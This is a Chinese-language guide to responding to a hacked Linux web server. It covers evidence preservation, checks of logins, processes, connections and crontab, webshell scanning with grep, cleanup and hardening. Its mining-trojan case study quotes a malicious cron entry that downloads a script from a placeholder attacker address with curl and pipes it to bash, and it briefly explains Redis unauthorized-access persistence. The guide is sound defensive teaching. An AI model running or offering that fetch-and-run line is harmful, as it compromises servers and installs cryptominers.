网站被入侵,是每个站长都绕不开的噩梦。有的站长发现网站被挂马、被跳转到博彩页面,有的发现服务器 CPU 一直 100%、被拿去挖矿,还有的直到收到云厂商的封禁通知才发现出了问题。遇到入侵最忌讳的就是慌张乱删乱改,把证据毁了,问题还没解决。本文按照真实应急响应的流程,讲清楚发现入侵后先做什么、怎么排查、怎么止血、怎么加固,让你遇到情况时不慌。
一、怎么发现被入侵
入侵很少是悄无声息的,常见的异常信号有这些:一是服务器 CPU、内存突然持续跑满,又没有自己部署的任务在跑,很可能是被植入挖矿程序;二是网站页面被篡改、被注入博彩或色情内容,或者访问时自动跳转到别的网站;三是网站目录里出现陌生的 PHP 文件,尤其是带 eval、base64_decode、system 等危险函数调用的;四是 SSH 登录日志里出现大量失败尝试,或者发现陌生 IP 登录成功过;五是收到云厂商的安全告警,或者网站被搜索引擎提示不安全、被收录了奇怪页面。发现任何一个信号,都不要抱有侥幸心理,按流程处理。
二、第一反应:先止血,再取证
确认被入侵后,第一件事不是马上删文件,而是止损和控制。如果服务器上有重要业务,先评估能否停机:能停机就直接关闭对外服务,或者先在云控制台创建快照,这是最宝贵的第一手证据,后续无论是排查还是报警都用得上。如果业务不能停,就先在防火墙层面封掉可疑 IP 和可疑端口,阻断攻击者的通道。
这里有个关键原则:先保存证据,再动手清理。证据包括系统日志、进程列表、网络连接、可疑文件副本。很多站长一上来就把可疑文件删了,把进程杀了,结果攻击者是怎么进来的、进来了多久、动了哪些东西,全都不清楚了,没过几天又被入侵一次。正确顺序是:记录现场 → 保存证据 → 清理恢复 → 加固。
三、排查步骤:按顺序查这些地方
排查要有章法,从上到下、从系统到应用。第一步查登录记录:
last -20 # 最近登录成功的记录
lastb -20 # 最近登录失败的记录
who # 当前在线用户
重点看有没有陌生 IP 在异常时间登录成功,特别是 root 登录。第二步查进程:
top # 看哪个进程吃 CPU
ps -ef # 列出所有进程
ls -l /proc/PID/exe # 查看可疑进程的可执行文件路径
挖矿程序的特征是 CPU 占用极高、进程名伪装成系统进程,比如 kdevtmpfsi、kinsing 这类经典挖矿木马。对可疑进程,用 /proc/PID/exe 看它真实路径,再用 ls -l /proc/PID/cwd 和 cat /proc/PID/cmdline 看它的启动方式和工作目录,顺藤摸瓜找到木马本体。第三步查网络连接:
ss -tnp # 查看所有 TCP 连接和对应进程
ss -tnp | grep ESTAB # 只看已建立的连接
挖矿木马会持续连接矿池,发现服务器主动连接陌生境外 IP 的持续连接,基本可以锁定。第四步查计划任务,挖矿木马最爱的持久化手段就是写 crontab:
crontab -l
cat /etc/crontab
ls /etc/cron.d/ /etc/cron.hourly/ /var/spool/cron/
看到一行行 curl 下载脚本或者陌生 URL 的任务,就是木马留下的。第五步查启动项和系统文件:检查 /etc/rc.local、systemd 服务目录里有没有最近新增的、名字可疑的服务,检查 /etc/ld.so.preload 有没有被篡改(这是 rootkit 的经典手段),检查 SSH 授权文件 authorized_keys 里有没有陌生的公钥——攻击者经常把自己的公钥加进去,之后随时可以免密登录。
四、网站层面:查 Webshell 和挂马
如果是网站被挂马,重点排查 Web 目录。第一步全目录扫描最近修改的文件:
find /www/wwwroot -name "*.php" -mtime -7
find /www/wwwroot -type f -newermt "7 days ago" | grep -E "\.(php|jsp|asp|sh)$"
第二步在 PHP 文件里搜索危险函数:
grep -rn "eval(" /www/wwwroot --include="*.php"
grep -rn "base64_decode" /www/wwwroot --include="*.php"
grep -rn "assert(" /www/wwwroot --include="*.php"
Webshell 的特征就是这些函数配合 POST 参数执行命令,命中结果要逐个人工确认,正常框架代码里基本不会出现。第三步看 Nginx 访问日志,找异常请求:
grep -E "\.php" /www/wwwlogs/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn | head -20
重点看有没有大量来自同一 IP 的 POST 请求、有没有请求上传目录里的可执行文件、有没有扫描器特征(访问 wp-login.php、.env、phpinfo 之类)。日志能帮你还原攻击者进来后的动作,是判断入侵途径的最重要依据。常见入口包括:WordPress 等 CMS 的插件漏洞、后台弱口令、phpMyAdmin 弱口令、Redis 未授权访问、上传功能没做类型校验。
五、清理与止血:杀进程、删后门、改密码
证据保存好之后开始清理。步骤是:先杀可疑进程,再删对应的木马文件,然后清理 crontab 和启动项里的恶意条目,移除 authorized_keys 里的陌生公钥,最后全站扫描确认没有遗漏。清理时注意,很多木马是成对的,一个守护进程挂了另一个会重新拉起,所以要先把文件删了再杀进程,或者干脆隔离后重启服务器,防止复发。
紧接着做这几件止血的事:第一,修改所有密码,包括服务器 SSH 密码、数据库密码、网站后台密码、云控制台密码,密码不要用弱口令,长度至少 12 位且包含大小写字母和数字符号;第二,SSH 改用密钥登录并禁用密码登录,从根上杜绝暴力破解;第三,关闭不必要的对外端口,数据库、Redis 这类服务只监听内网;第四,给所有软件打补丁,升级面板、CMS、插件到最新版本。
六、一个典型的挖矿木马清除案例
纸上谈兵不如看一个真实案例。某站长发现服务器 CPU 连续几天 100%,按流程排查:top 里看到一个名为 kdevtmpfsi 的进程占用 300% CPU,ls -l /proc/它的PID/exe 发现真实路径在 /tmp/kdevtmpfsi,接着 cat /proc/PID/cmdline 看到启动参数里带了矿池地址;ss -tnp 确认它持续连接境外矿池的 443 端口。crontab -l 里发现一行 curl -o /tmp/update.sh http://恶意地址/update.sh && bash /tmp/update.sh 的定时任务,这就是它的持久化机制——即使杀掉进程,几分钟后 crontab 又会把它拉起来。处理顺序是:先把 crontab 里的恶意条目和 /tmp 下的脚本、木马文件全部删除,再杀掉进程,最后全站扫描一遍确认没有其他残留,重启服务器观察几天 CPU 是否恢复正常。这个案例里攻击者是通过 Redis 未授权访问进来的:服务器上 Redis 没设密码且绑定了公网,攻击者用一条 set 命令把计划任务写进了系统的 crontab 目录。事后站长给 Redis 加了强密码、绑定内网地址,问题再没复发。这个案例说明:入侵途径往往是老漏洞,弱口令、未授权访问、未打补丁,占了入侵原因的大头。
七、勒索病毒与数据恢复
还有一种更严重的入侵是勒索病毒:服务器文件被加密,留下一个 txt 文件要求支付赎金。遇到勒索病毒,第一时间拔网线或关停服务,防止加密范围扩大,然后立即联系云厂商并保留现场。支付赎金是下策,不保证能解密,还可能被二次勒索。真正能救你的是备份——如果有 3-2-1 备份策略(3 份数据、2 种介质、1 份异地),直接重装系统恢复备份即可,勒索病毒只是损失一点时间。这也是为什么本文反复强调备份:入侵防护做不到 100%,但有了备份,最坏情况也能兜底。平时备份要定期做恢复演练,别等到需要时才发现备份文件是坏的。
八、日常安全基线清单
最后给出一份可以照着做的日常安全基线,建议每季度过一遍:一是系统层面,SSH 禁用密码登录改密钥认证、修改默认端口、开启 fail2ban、关闭无用服务、限制 root 远程登录;二是网络层面,防火墙只放行 22/80/443,数据库和 Redis 只监听内网,有条件就上云安全组;三是应用层面,CMS 和插件保持最新、后台开启登录验证码和二次验证、上传目录禁止执行脚本、数据库使用强密码;四是监控层面,部署一个简单的服务器监控(比如 node_exporter 加告警),CPU 异常、流量异常第一时间收到通知;五是备份层面,网站文件和数据库每日备份,保留多日并异地存放。把这些做成脚本或清单,每次新服务器上线就照做一遍,能挡掉绝大多数常见攻击。
九、写在最后
被入侵不可怕,可怕的是没有应对流程。把本文的排查顺序记下来:先止血保存证据,再按登录记录、进程、网络、计划任务、网站文件、日志的顺序排查,清理后立刻改密码打补丁,最后按安全基线做全面加固。平时建议每季度做一次安全检查,检查 SSH 配置、扫描一遍 Web 目录、翻一遍登录日志,把风险消灭在萌芽里。服务器安全是持续投入的过程,宁可平时多花十分钟,也不要出事之后熬通宵。